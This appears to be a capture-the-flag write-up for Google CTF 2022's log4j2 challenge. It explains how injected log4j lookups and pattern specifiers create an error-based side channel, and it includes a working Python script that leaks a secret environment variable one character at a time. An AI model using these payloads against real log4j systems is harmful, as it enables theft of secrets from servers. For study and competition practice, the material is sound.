Page MenuHomedesp's stash

googlectf22.md
No OneTemporary

googlectf22.md

### log4j2
building upon the log4j solution and some prelim investigation by other teammates, i set of reading a lot of documentation on lookups and pattern layout specifiers to see if anything is useful
since they practically just slapped a filter on logs and stuff, i wondered what exactly they were checking
and `/repeat` works like a charm on letting me test certain keywords that might hit the filter - it would say sensitive info whenever i hit a keyword
i figured out its "ERROR", "WARNING", "Exception" and "CTF", but even these few words basically disabled us from using the same method as the old solution which was to break formatter to print exceptions `text=/[${date:yyyyMMdd.${env:FLAG}HHmmSS}]` - even if we can hide CTF using some transformers like `%replace` and `${lower:}`, we wont be able to hide the "ERROR" or "Exception" keywords since those are directly from the pattern parser (`%xEx` and `%throwable` both doesnt do anything)
so i turned to trying to see if i can leak parts of the flag out but the only way i can tell is to hide details inside the stacktraces which are blocked
but then i remembered the influxql chall from wectf that me and angus solved where angus found a way to side channel it
and i see `%equals` being a thing in the specifiers
so the only thing i need to do is to trigger a warning or an error only when my guessed flag matches - `%equals{${env:FLAG}}{<guess>}{<something that triggers a warning only when run>}`
however theres not really a good canadidate that throws a parser error only when run - `%d` like in the old solution always fail even if `%equals` is not matched
but it fails twice if it matches, which is a good sign that there might be better specifiers out there - and indeed if i do `%C{<anything>}` i get a warning thats censored only if my guess equals - thus the payload is now `%equals{${env:FLAG}}{<guess>}{%C{a}}`
but i have to find a way to guess character by character to save time - this is where `%maxLen` comes into play so i can get the first x chars only, and the payload becomes `%equals{%maxLen{${env:FLAG}}{<len of guess>}}{<guess>}{%C{a}}`
with that we can write a script to leak the first 3 chars, and they are indeed `CTF` - but then i run into a problem of `{}` being special chars for lookups so i need to escape it somehow
`%equals` doesnt look like it has a way to escape, so i had to introduce `%replace` as mentioned [here](https://stackoverflow.com/questions/57658504/escape-curly-braces-in-log4js-replacepatternregexsubstitution)
with `/%equals{%replace{%maxLen{${env:FLAG}}{<len of guess>}}{[\{\}]}{=}}{<guess>}{%C{a}}`, we can finally leak the flag, which looks like lowercase letters - until it hangs at 21st character
turns out `%maxLen` appends `...` if it exceeds 20 chars, and just padding the dots into the flag doesnt seem to fix anything, so i had to also replace the dots to equal signs just like the curly brackets
and finally with `/%equals{%replace{%maxLen{${env:FLAG}}{<len of guess>}}{[\{\}.]}{=}}{<guess + padding as needed>}{%C{a}}`
we can get the script that generates the flag:
```py
import requests
import string
flag = 'CTF='
while True:
for c in string.ascii_lowercase + '-=':
#if c in '}{ ': #for string.printable since these instantly breaks parser
# continue
pad = '===' if len(flag)+1>20 else '' #thanks %maxLen for the weird behaviour
payload = r"/%equals{%replace{%maxLen{${env:FLAG}}{" + str(len(flag)+1) + r"}}{[\{\}.]}{=}}{" + flag + c + pad + r"}{%C{a}}"
print(payload)
r = requests.post('https://log4j2-web.2022.ctfcompetition.com/', data={"text":payload})
print(r.content)
if b'Sensitive' in r.content:
flag += c
print('current', flag)
break
if flag.endswith('===='):
break
```
and here's the breakdown of the payload:
```
%equals{
%replace{
%maxLen{
${env:FLAG} #retrieve original flag
}{
4 #flag length to check - must match the check length since theres no startWith in log4j so we have to truncate
}
}{
[\{\}.] #find all { }s in flag, along with the elipsis
}{
= #replace with placeholder - see flag to check for more info
}
}{
CTF= #flag to check - note that = is in place of { since curly brackets escaping is not a thing in %equals it looks like
}{
%C{a} #this triggers a warning only if it hits, aka it wont show WARNING if equals never matched - i originally used %d, but the format evaluates regardless whether it hit or not (hitting will show 2 warnings instead of 1 which doesnt help)
}
```
`CTF{and-you-thought-it-was-over-didnt-you}`
for some reason the ending bracket never got hit though, so the endswith clause never ran
but hey flag is flag ey

File Metadata

Mime Type
text/plain
Expires
Sun, Jul 6, 4:49 PM (1 d, 2 h)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
2d/9b/7769620927ac290b3ac43364d1b5

Event Timeline